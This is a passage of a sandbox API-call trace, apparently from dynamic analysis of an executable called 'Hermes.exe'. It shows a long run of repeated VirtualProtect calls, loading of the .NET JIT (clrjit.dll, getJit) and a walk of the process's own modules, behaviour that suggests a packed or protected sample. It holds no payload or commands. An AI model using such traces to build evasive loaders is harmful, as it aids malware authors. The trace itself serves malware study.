GetCurrentProcess () returned 0xffffffff [0074.714] VirtualProtect (in: lpAddress=0x2ed0478, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.715] GetCurrentProcess () returned 0xffffffff [0074.715] VirtualProtect (in: lpAddress=0x2ed0488, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.715] GetCurrentProcess () returned 0xffffffff [0074.716] VirtualProtect (in: lpAddress=0x2ed0488, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.716] GetCurrentProcess () returned 0xffffffff [0074.717] VirtualProtect (in: lpAddress=0x2ed0498, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.717] GetCurrentProcess () returned 0xffffffff [0074.717] VirtualProtect (in: lpAddress=0x2ed0498, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.718] GetCurrentProcess () returned 0xffffffff [0074.718] VirtualProtect (in: lpAddress=0x2ed04a0, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.718] GetCurrentProcess () returned 0xffffffff [0074.719] VirtualProtect (in: lpAddress=0x2ed04a0, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.719] GetCurrentProcess () returned 0xffffffff [0074.719] VirtualProtect (in: lpAddress=0x2ed04fc, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.719] GetCurrentProcess () returned 0xffffffff [0074.720] VirtualProtect (in: lpAddress=0x2ed04fc, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.720] GetCurrentProcess () returned 0xffffffff [0074.721] VirtualProtect (in: lpAddress=0x2ed0504, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.721] GetCurrentProcess () returned 0xffffffff [0074.721] VirtualProtect (in: lpAddress=0x2ed0504, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.721] GetCurrentProcess () returned 0xffffffff [0074.722] VirtualProtect (in: lpAddress=0x2ed050c, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.722] GetCurrentProcess () returned 0xffffffff [0074.722] VirtualProtect (in: lpAddress=0x2ed050c, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.723] GetCurrentProcess () returned 0xffffffff [0074.723] VirtualProtect (in: lpAddress=0x2ed052c, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.723] GetCurrentProcess () returned 0xffffffff [0074.724] VirtualProtect (in: lpAddress=0x2ed052c, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.724] GetCurrentProcess () returned 0xffffffff [0074.724] VirtualProtect (in: lpAddress=0x2ed0534, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.724] GetCurrentProcess () returned 0xffffffff [0074.725] VirtualProtect (in: lpAddress=0x2ed0534, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.725] GetCurrentProcess () returned 0xffffffff [0074.726] VirtualProtect (in: lpAddress=0x2ed053c, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.726] GetCurrentProcess () returned 0xffffffff [0074.726] VirtualProtect (in: lpAddress=0x2ed053c, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.726] GetCurrentProcess () returned 0xffffffff [0074.727] VirtualProtect (in: lpAddress=0x2ed0568, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.727] GetCurrentProcess () returned 0xffffffff [0074.727] VirtualProtect (in: lpAddress=0x2ed0568, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.728] GetCurrentProcess () returned 0xffffffff [0074.728] VirtualProtect (in: lpAddress=0x2ed0570, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.728] GetCurrentProcess () returned 0xffffffff [0074.729] VirtualProtect (in: lpAddress=0x2ed0570, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.729] GetCurrentProcess () returned 0xffffffff [0074.729] VirtualProtect (in: lpAddress=0x2ed0578, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.729] GetCurrentProcess () returned 0xffffffff [0074.730] VirtualProtect (in: lpAddress=0x2ed0578, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.730] GetCurrentProcess () returned 0xffffffff [0074.730] VirtualProtect (in: lpAddress=0x2ed05b0, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.731] GetCurrentProcess () returned 0xffffffff [0074.731] VirtualProtect (in: lpAddress=0x2ed05b0, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.731] GetCurrentProcess () returned 0xffffffff [0074.732] VirtualProtect (in: lpAddress=0x2ed05c0, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.732] GetCurrentProcess () returned 0xffffffff [0074.732] VirtualProtect (in: lpAddress=0x2ed05c0, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.733] GetCurrentProcess () returned 0xffffffff [0074.733] VirtualProtect (in: lpAddress=0x2ed05d0, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.733] GetCurrentProcess () returned 0xffffffff [0074.734] VirtualProtect (in: lpAddress=0x2ed05d0, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.734] GetCurrentProcess () returned 0xffffffff [0074.734] VirtualProtect (in: lpAddress=0x2ed05e0, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.734] GetCurrentProcess () returned 0xffffffff [0074.735] VirtualProtect (in: lpAddress=0x2ed05e0, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.735] GetCurrentProcess () returned 0xffffffff [0074.735] VirtualProtect (in: lpAddress=0x2ed05e8, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.736] GetCurrentProcess () returned 0xffffffff [0074.736] VirtualProtect (in: lpAddress=0x2ed05e8, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.736] GetCurrentProcess () returned 0xffffffff [0074.737] VirtualProtect (in: lpAddress=0x2ed0608, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.737] GetCurrentProcess () returned 0xffffffff [0074.737] VirtualProtect (in: lpAddress=0x2ed0608, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.738] GetCurrentProcess () returned 0xffffffff [0074.738] VirtualProtect (in: lpAddress=0x2ed0618, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.738] GetCurrentProcess () returned 0xffffffff [0074.739] VirtualProtect (in: lpAddress=0x2ed0618, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.739] GetCurrentProcess () returned 0xffffffff [0074.739] VirtualProtect (in: lpAddress=0x2ed0958, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.739] GetCurrentProcess () returned 0xffffffff [0074.740] VirtualProtect (in: lpAddress=0x2ed0958, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.740] GetCurrentProcess () returned 0xffffffff [0074.741] VirtualProtect (in: lpAddress=0x2ed0968, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.741] GetCurrentProcess () returned 0xffffffff [0074.741] VirtualProtect (in: lpAddress=0x2ed0968, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.741] GetCurrentProcess () returned 0xffffffff [0074.742] VirtualProtect (in: lpAddress=0x2ed09d0, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.742] GetCurrentProcess () returned 0xffffffff [0074.743] VirtualProtect (in: lpAddress=0x2ed09d0, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.743] GetCurrentProcess () returned 0xffffffff [0074.743] VirtualProtect (in: lpAddress=0x2ed0a48, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.743] GetCurrentProcess () returned 0xffffffff [0074.744] VirtualProtect (in: lpAddress=0x2ed0a48, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.744] GetCurrentProcess () returned 0xffffffff [0074.745] VirtualProtect (in: lpAddress=0x2edbb84, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.745] GetCurrentProcess () returned 0xffffffff [0074.746] VirtualProtect (in: lpAddress=0x2edbb84, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.746] GetCurrentProcess () returned 0xffffffff [0074.815] VirtualProtect (in: lpAddress=0x2edf5b0, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.815] GetCurrentProcess () returned 0xffffffff [0074.816] VirtualProtect (in: lpAddress=0x2edf5b0, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.816] GetCurrentProcess () returned 0xffffffff [0074.817] VirtualProtect (in: lpAddress=0x2edf5c0, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.817] GetCurrentProcess () returned 0xffffffff [0074.817] VirtualProtect (in: lpAddress=0x2edf5c0, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.817] GetCurrentProcess () returned 0xffffffff [0074.818] VirtualProtect (in: lpAddress=0x2edf5d0, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.818] GetCurrentProcess () returned 0xffffffff [0074.819] VirtualProtect (in: lpAddress=0x2edf5d0, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.819] GetCurrentProcess () returned 0xffffffff [0074.819] VirtualProtect (in: lpAddress=0x2edf5e0, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.819] GetCurrentProcess () returned 0xffffffff [0074.820] VirtualProtect (in: lpAddress=0x2edf5e0, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.820] GetCurrentProcess () returned 0xffffffff [0074.820] VirtualProtect (in: lpAddress=0x2edf5f0, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.821] GetCurrentProcess () returned 0xffffffff [0074.821] VirtualProtect (in: lpAddress=0x2edf5f0, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.821] GetCurrentProcess () returned 0xffffffff [0074.822] VirtualProtect (in: lpAddress=0x2edf600, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.822] GetCurrentProcess () returned 0xffffffff [0074.822] VirtualProtect (in: lpAddress=0x2edf600, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.822] GetCurrentProcess () returned 0xffffffff [0074.823] VirtualProtect (in: lpAddress=0x2edf610, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.823] GetCurrentProcess () returned 0xffffffff [0074.823] VirtualProtect (in: lpAddress=0x2edf610, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.824] GetCurrentProcess () returned 0xffffffff [0074.824] VirtualProtect (in: lpAddress=0x2edf620, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.824] GetCurrentProcess () returned 0xffffffff [0074.826] VirtualProtect (in: lpAddress=0x2edf620, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.826] GetCurrentProcess () returned 0xffffffff [0074.827] VirtualProtect (in: lpAddress=0x2edf630, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.827] GetCurrentProcess () returned 0xffffffff [0074.827] VirtualProtect (in: lpAddress=0x2edf630, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.827] GetCurrentProcess () returned 0xffffffff [0074.828] VirtualProtect (in: lpAddress=0x2edf650, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.828] GetCurrentProcess () returned 0xffffffff [0074.828] VirtualProtect (in: lpAddress=0x2edf650, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.829] GetCurrentProcess () returned 0xffffffff [0074.829] VirtualProtect (in: lpAddress=0x2edf660, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.829] GetCurrentProcess () returned 0xffffffff [0074.830] VirtualProtect (in: lpAddress=0x2edf660, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.830] GetCurrentProcess () returned 0xffffffff [0074.830] VirtualProtect (in: lpAddress=0x2edf668, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.830] GetCurrentProcess () returned 0xffffffff [0074.831] VirtualProtect (in: lpAddress=0x2edf668, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.831] GetCurrentProcess () returned 0xffffffff [0074.831] VirtualProtect (in: lpAddress=0x2edf670, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.832] GetCurrentProcess () returned 0xffffffff [0074.832] VirtualProtect (in: lpAddress=0x2edf670, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.832] GetCurrentProcess () returned 0xffffffff [0074.833] VirtualProtect (in: lpAddress=0x2edf690, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.833] GetCurrentProcess () returned 0xffffffff [0074.833] VirtualProtect (in: lpAddress=0x2edf690, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.833] GetCurrentProcess () returned 0xffffffff [0074.834] VirtualProtect (in: lpAddress=0x2edf6a0, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.834] GetCurrentProcess () returned 0xffffffff [0074.835] VirtualProtect (in: lpAddress=0x2edf6a0, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.835] GetCurrentProcess () returned 0xffffffff [0074.835] VirtualProtect (in: lpAddress=0x2edf6c0, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.835] GetCurrentProcess () returned 0xffffffff [0074.836] VirtualProtect (in: lpAddress=0x2edf6c0, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.836] GetCurrentProcess () returned 0xffffffff [0074.836] VirtualProtect (in: lpAddress=0x2edf6d0, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.837] GetCurrentProcess () returned 0xffffffff [0074.837] VirtualProtect (in: lpAddress=0x2edf6d0, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.837] GetCurrentProcess () returned 0xffffffff [0074.838] VirtualProtect (in: lpAddress=0x2edf6e0, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.838] GetCurrentProcess () returned 0xffffffff [0074.838] VirtualProtect (in: lpAddress=0x2edf6e0, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e458 | out: lpflOldProtect=0x19e458*=0x4) returned 1 [0074.838] GetCurrentProcess () returned 0xffffffff [0074.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mscorjit.dll", cchWideChar=12, lpMultiByteStr=0x19d2b0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mscorjit.dllåߤ\x02\x9fu¦fðù¼sHç\x19", lpUsedDefaultChar=0x0) returned 12 [0074.904] LoadLibraryA (lpLibFileName="mscorjit.dll") returned 0x0 [0074.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clrjit.dll", cchWideChar=10, lpMultiByteStr=0x19d2b4, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clrjit.dll¤\x02\x9fu¦fðù¼sHç\x19", lpUsedDefaultChar=0x0) returned 10 [0074.912] LoadLibraryA (lpLibFileName="clrjit.dll") returned 0x727b0000 [0074.921] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="getJit", cchWideChar=6, lpMultiByteStr=0x19d2b0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="getJit¤\x02\x9fu¦fðù¼sHç\x19", lpUsedDefaultChar=0x0) returned 6 [0074.921] GetProcAddress (hModule=0x727b0000, lpProcName="getJit") returned 0x72803d60 [0074.958] GetCurrentProcessId () returned 0xf4c [0074.958] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf4c) returned 0xec [0074.958] EnumProcessModules (in: hProcess=0xec, lphModule=0x2fcae7c, cb=0x100, lpcbNeeded=0x19d2cc | out: lphModule=0x2fcae7c, lpcbNeeded=0x19d2cc) returned 1 [0074.958] GetModuleInformation (in: hProcess=0xec, hModule=0x400000, lpmodinfo=0x2fcafbc, cb=0xc | out: lpmodinfo=0x2fcafbc*(lpBaseOfDll=0x400000, SizeOfImage=0x8cd000, EntryPoint=0x82ed56)) returned 1 [0074.959] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.959] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x400000, lpBaseName=0xfb0d90, nSize=0x800 | out: lpBaseName="Hermes.exe") returned 0xa [0074.959] CoTaskMemFree (pv=0xfb0d90) [0074.959] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.959] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x400000, lpFilename=0xfb0d90, nSize=0x800 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\Hermes.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\hermes.exe")) returned 0x22 [0074.959] CoTaskMemFree (pv=0xfb0d90) [0074.959] GetModuleInformation (in: hProcess=0xec, hModule=0x77bb0000, lpmodinfo=0x2fcd0ec, cb=0xc | out: lpmodinfo=0x2fcd0ec*(lpBaseOfDll=0x77bb0000, SizeOfImage=0x18e000, EntryPoint=0x0)) returned 1 [0074.959] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.959] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x77bb0000, lpBaseName=0xfb0d90, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9 [0074.959] CoTaskMemFree (pv=0xfb0d90) [0074.959] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.959] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x77bb0000, lpFilename=0xfb0d90, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\SYSTEM32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")) returned 0x1d [0074.960] CoTaskMemFree (pv=0xfb0d90) [0074.960] GetModuleInformation (in: hProcess=0xec, hModule=0x75e90000, lpmodinfo=0x2fcf1f0, cb=0xc | out: lpmodinfo=0x2fcf1f0*(lpBaseOfDll=0x75e90000, SizeOfImage=0xd0000, EntryPoint=0x75ea06a0)) returned 1 [0074.960] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.960] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x75e90000, lpBaseName=0xfb0d90, nSize=0x800 | out: lpBaseName="KERNEL32.DLL") returned 0xc [0074.960] CoTaskMemFree (pv=0xfb0d90) [0074.960] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.960] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x75e90000, lpFilename=0xfb0d90, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\KERNEL32.DLL" (normalized: "c:\\windows\\system32\\kernel32.dll")) returned 0x20 [0074.960] CoTaskMemFree (pv=0xfb0d90) [0074.960] GetModuleInformation (in: hProcess=0xec, hModule=0x74ea0000, lpmodinfo=0x2fd1304, cb=0xc | out: lpmodinfo=0x2fd1304*(lpBaseOfDll=0x74ea0000, SizeOfImage=0x1c2000, EntryPoint=0x74f8ff30)) returned 1 [0074.960] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.960] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x74ea0000, lpBaseName=0xfb0d90, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0074.961] CoTaskMemFree (pv=0xfb0d90) [0074.961] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.961] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x74ea0000, lpFilename=0xfb0d90, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\KERNELBASE.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")) returned 0x22 [0074.961] CoTaskMemFree (pv=0xfb0d90) [0074.961] GetModuleInformation (in: hProcess=0xec, hModule=0x745d0000, lpmodinfo=0x2fd3420, cb=0xc | out: lpmodinfo=0x2fd3420*(lpBaseOfDll=0x745d0000, SizeOfImage=0x93000, EntryPoint=0x74604270)) returned 1 [0074.961] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.961] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x745d0000, lpBaseName=0xfb0d90, nSize=0x800 | out: lpBaseName="apphelp.dll") returned 0xb [0074.961] CoTaskMemFree (pv=0xfb0d90) [0074.961] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.961] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x745d0000, lpFilename=0xfb0d90, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\SYSTEM32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll")) returned 0x1f [0074.962] CoTaskMemFree (pv=0xfb0d90) [0074.962] GetModuleInformation (in: hProcess=0xec, hModule=0x77920000, lpmodinfo=0x2fd5558, cb=0xc | out: lpmodinfo=0x2fd5558*(lpBaseOfDll=0x77920000, SizeOfImage=0xf3000, EntryPoint=0x7795a100)) returned 1 [0074.962] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.962] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x77920000, lpBaseName=0xfb0d90, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9 [0074.962] CoTaskMemFree (pv=0xfb0d90) [0074.962] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.962] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x77920000, lpFilename=0xfb0d90, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll")) returned 0x1d [0074.962] CoTaskMemFree (pv=0xfb0d90) [0074.962] GetModuleInformation (in: hProcess=0xec, hModule=0x75c50000, lpmodinfo=0x2fd765c, cb=0xc | out: lpmodinfo=0x2fd765c*(lpBaseOfDll=0x75c50000, SizeOfImage=0x238000, EntryPoint=0x75d6e060)) returned 1 [0074.962] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.962] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x75c50000, lpBaseName=0xfb0d90, nSize=0x800 | out: lpBaseName="combase.dll") returned 0xb [0074.963] CoTaskMemFree (pv=0xfb0d90) [0074.963] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.963] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x75c50000, lpFilename=0xfb0d90, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll")) returned 0x1f [0074.963] CoTaskMemFree (pv=0xfb0d90) [0074.963] GetModuleInformation (in: hProcess=0xec, hModule=0x76000000, lpmodinfo=0x2fd9768, cb=0xc | out: lpmodinfo=0x2fd9768*(lpBaseOfDll=0x76000000, SizeOfImage=0x118000, EntryPoint=0x7602a3c0)) returned 1 [0074.963] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.963] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x76000000, lpBaseName=0xfb0d90, nSize=0x800 | out: lpBaseName="ucrtbase.dll") returned 0xc [0074.963] CoTaskMemFree (pv=0xfb0d90) [0074.963] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.963] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x76000000, lpFilename=0xfb0d90, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\ucrtbase.dll" (normalized: "c:\\windows\\system32\\ucrtbase.dll")) returned 0x20 [0074.963] CoTaskMemFree (pv=0xfb0d90) [0074.963] GetModuleInformation (in: hProcess=0xec, hModule=0x74710000, lpmodinfo=0x2fdb87c, cb=0xc | out: lpmodinfo=0x2fdb87c*(lpBaseOfDll=0x74710000, SizeOfImage=0xc0000, EntryPoint=0x7473fb20)) returned 1 [0074.964] CoTaskMemAlloc (cb=0x804) returned 0xfb0d90 [0074.964] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x74710000, lpBaseName=0xfb0d90, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa 